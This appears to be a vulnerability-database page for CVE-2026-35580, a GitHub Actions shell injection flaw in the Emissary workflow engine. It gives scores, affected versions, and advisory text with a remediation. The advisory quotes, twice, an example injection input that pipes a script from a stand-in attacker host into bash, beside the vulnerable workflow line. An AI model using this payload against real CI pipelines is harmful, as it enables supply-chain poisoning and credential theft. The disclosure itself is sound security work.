Every CVESearch/Get API key

CVE-2026-35580

Emissary has GitHub Actions Shell Injection via Workflow Inputs

9.1 CriticalPublic exploitFix available

CVE-2026-35580 is a critical vulnerability (CVSS 9.1) in Nationalsecurityagency Emissary, published April 6, 2026. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 0.58%, the 47th percentile. Fixed in gov.nsa.emissary:emissary 8.39.0.

What does this mean?
Severity
9.1 CriticalCVSS 3.1, CVE List
Exploit chance
0.58%EPSS, 47th percentile
Exploitation
None known1 public exploit

Description

Emissary is a P2P based data-driven workflow engine. Prior to 8.39.0, GitHub Actions workflow files contained shell injection points where user-controlled workflow_dispatch inputs were interpolated directly into shell commands via ${{ }} expression syntax. An attacker with repository write access could inject arbitrary shell commands, leading to repository poisoning and supply chain compromise affecting all downstream users. This vulnerability is fixed in 8.39.0.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
High
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

0.58%Up 0.6 points since Apr 8, 2026
90%50%10%1%

Affected products

Affected packages

Affected packages
PackageAffectedFixed
gov.nsa.emissary:emissary
Maven
before 8.39.0
8.39.0
gov.nsa.emissary:emissary
Maven
before 8.39.0, plus listed versions
8.0.08.1.08.10.08.11.08.11.1
Show 37 moreShow less
8.12.08.13.08.14.08.15.08.16.08.17.08.18.08.19.08.19.18.2.08.20.08.21.08.22.08.23.08.24.08.25.08.26.08.27.08.28.08.29.08.3.08.30.08.31.08.32.08.33.08.34.08.35.08.36.08.37.08.38.08.4.08.5.08.6.08.7.08.7.18.8.08.9.0
8.39.0
Botan
openSUSE:Tumbleweed
From an advisory covering 2 CVEs
before 3.11.1-1.1
3.11.1-1.1

Public exploits

Links only. Every CVE stores no exploit code.

Public exploits
SourceLinkDate
PoC in GitHubpvharmo2/gha-lab-ed7a1740c42026-09-05

What each source reports

CVE List Score used9.1

Emissary has GitHub Actions Shell Injection via Workflow Inputs

Emissary is a P2P based data-driven workflow engine. Prior to 8.39.0, GitHub Actions workflow files contained shell injection points where user-controlled workflow_dispatch inputs were interpolated directly into shell commands via ${{ }} expression syntax. An attacker with repository write access could inject arbitrary shell commands, leading to repository poisoning and supply chain compromise affecting all downstream users. This vulnerability is fixed in 8.39.0.

Record
CVE-2026-35580
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Weakness
CWE-77
Updated
2026-11-02
EUVDEUVD-2026-197289.1

Emissary is a P2P based data-driven workflow engine. Prior to 8.39.0, GitHub Actions workflow files contained shell injection points where user-controlled workflow_dispatch inputs were interpolated directly into shell commands via ${{ }} expression syntax. An attacker with repository write access could inject arbitrary shell commands, leading to repository poisoning and supply chain compromise affecting all downstream users. This vulnerability is fixed in 8.39.0.

Record
EUVD-2026-19728
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-3g6g-gq4r-xjm99.1

Emissary has GitHub Actions Shell Injection via Workflow Inputs

Summary

Three GitHub Actions workflow files contained 10 shell injection points where user-controlled workflow_dispatch inputs were interpolated directly into shell commands via ${{ }} expression syntax. An attacker with repository write access could inject arbitrary shell commands, leading to repository poisoning and supply chain compromise affecting all downstream users.

Affected Files

| Workflow file | Injection points | |------------------------------------------|------------------| | .github/workflows/maven-version.yml | 4 | | .github/workflows/cherrypick.yml | 5 | | .github/workflows/maven-release.yml | 1 |

Details

GitHub Actions ${{ }} expressions inside run: blocks are substituted before the shell interprets the command. When a workflow_dispatch input is placed directly in a run: block, an attacker who can trigger the workflow can break out of the intended command and execute arbitrary code.

Example — maven-version.yml (before fix)

- name: Set the name of the branch
  run: echo "PR_BRANCH=action/${{ github.event.inputs.next_version }}" >> "$GITHUB_ENV"

A malicious input such as 1.0.0"; curl attacker.com/backdoor.sh | bash; echo " would be interpolated directly into the shell, executing arbitrary commands with the job's GITHUB_TOKEN permissions (contents: write, pull-requests: write).

Impact

  • Arbitrary code execution within the CI/CD runner
  • Repository modification via the contents: write token (push malicious commits)
  • Supply chain poisoning — downstream users who clone or build receive compromised code
  • Credential exfiltration from the GitHub Actions environment

Remediation

Fixed in two PRs merged into release 8.39.0:

PR #1286 — Environment variable indirection

Replaced all direct ${{ inputs.* }} interpolation in run: blocks with environment variable indirection. Inputs are assigned to env: at the step level, then referenced as shell variables inside run:.

# After (safe — input is never interpreted by the shell parser)
- name: Set the name of the branch
  run: echo "PR_BRANCH=action/$IN_NEXT_VERSION" >> "$GITHUB_ENV"
  env:
    IN_NEXT_VERSION: ${{ github.event.inputs.next_version }}

PR #1288 — Input validation

Added strict regex validation steps that run before any input is used:

  • maven-version.yml: Validates next_version matches ^[a-zA-Z0-9._-]+$
  • maven-release.yml: Validates release_suffix matches ^[a-zA-Z0-9._-]+$
  • cherrypick.yml: Validates commits matches ^([0-9a-f]{7,40})(\s+[0-9a-f]{7,40})*$

All jobs now also use shell: bash via defaults.run.shell to ensure consistent shell behavior.

Workarounds

There is no workaround other than upgrading. Organizations that have forked Emissary should apply the same environment variable indirection and input validation patterns to their workflow files.

References

Record
GHSA-3g6g-gq4r-xjm9
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Weakness
CWE-77
Updated
2026-11-02
NVD9.1

Emissary is a P2P based data-driven workflow engine. Prior to 8.39.0, GitHub Actions workflow files contained shell injection points where user-controlled workflow_dispatch inputs were interpolated directly into shell commands via ${{ }} expression syntax. An attacker with repository write access could inject arbitrary shell commands, leading to repository poisoning and supply chain compromise affecting all downstream users. This vulnerability is fixed in 8.39.0.

Record
CVE-2026-35580
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Weakness
CWE-77
Updated
2026-11-02
OSV9.1

Emissary has GitHub Actions Shell Injection via Workflow Inputs

Emissary is a P2P based data-driven workflow engine. Prior to 8.39.0, GitHub Actions workflow files contained shell injection points where user-controlled workflow_dispatch inputs were interpolated directly into shell commands via ${{ }} expression syntax. An attacker with repository write access could inject arbitrary shell commands, leading to repository poisoning and supply chain compromise affecting all downstream users. This vulnerability is fixed in 8.39.0.

Record
CVE-2026-35580
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Weakness
CWE-77
Updated
2026-11-02
OSVGHSA-3g6g-gq4r-xjm99.1

Emissary has GitHub Actions Shell Injection via Workflow Inputs

Summary

Three GitHub Actions workflow files contained 10 shell injection points where user-controlled workflow_dispatch inputs were interpolated directly into shell commands via ${{ }} expression syntax. An attacker with repository write access could inject arbitrary shell commands, leading to repository poisoning and supply chain compromise affecting all downstream users.

Affected Files

| Workflow file | Injection points | |------------------------------------------|------------------| | .github/workflows/maven-version.yml | 4 | | .github/workflows/cherrypick.yml | 5 | | .github/workflows/maven-release.yml | 1 |

Details

GitHub Actions ${{ }} expressions inside run: blocks are substituted before the shell interprets the command. When a workflow_dispatch input is placed directly in a run: block, an attacker who can trigger the workflow can break out of the intended command and execute arbitrary code.

Example — maven-version.yml (before fix)

- name: Set the name of the branch
  run: echo "PR_BRANCH=action/${{ github.event.inputs.next_version }}" >> "$GITHUB_ENV"

A malicious input such as 1.0.0"; curl attacker.com/backdoor.sh | bash; echo " would be interpolated directly into the shell, executing arbitrary commands with the job's GITHUB_TOKEN permissions (contents: write, pull-requests: write).

Impact

  • Arbitrary code execution within the CI/CD runner
  • Repository modification via the contents: write token (push malicious commits)
  • Supply chain poisoning — downstream users who clone or build receive compromised code
  • Credential exfiltration from the GitHub Actions environment

Remediation

Fixed in two PRs merged into release 8.39.0:

PR #1286 — Environment variable indirection

Replaced all direct ${{ inputs.* }} interpolation in run: blocks with environment variable indirection. Inputs are assigned to env: at the step level, then referenced as shell variables inside run:.

# After (safe — input is never interpreted by the shell parser)
- name: Set the name of the branch
  run: echo "PR_BRANCH=action/$IN_NEXT_VERSION" >> "$GITHUB_ENV"
  env:
    IN_NEXT_VERSION: ${{ github.event.inputs.next_version }}

PR #1288 — Input validation

Added strict regex validation steps that run before any input is used:

  • maven-version.yml: Validates next_version matches ^[a-zA-Z0-9._-]+$
  • maven-release.yml: Validates release_suffix matches ^[a-zA-Z0-9._-]+$
  • cherrypick.yml: Validates commits matches ^([0-9a-f]{7,40})(\s+[0-9a-f]{7,40})*$

All jobs now also use shell: bash via defaults.run.shell to ensure consistent shell behavior.

Workarounds

There is no workaround other than upgrading. Organizations that have forked Emissary should apply the same environment variable indirection and input validation patterns to their workflow files.

References

Record
GHSA-3g6g-gq4r-xjm9
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Weakness
CWE-77
Updated
2026-11-02
OSVopenSUSE-SU-2026:10540-1No score

Botan-3.11.1-1.1 on GA media

These are all security issues fixed in the Botan-3.11.1-1.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2026:10540-1
Updated
2026-11-02
OSVUBUNTU-CVE-2026-35580No score

[Unknown description]

Record
UBUNTU-CVE-2026-35580
Updated
2026-11-02

History

History
RecordedChangedSources
affected, facts
affected
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV, PoC in GitHub

Dates are when Every CVE recorded each change. Upstream dates may differ.

References

Show 6 moreShow less
MoveEnter Open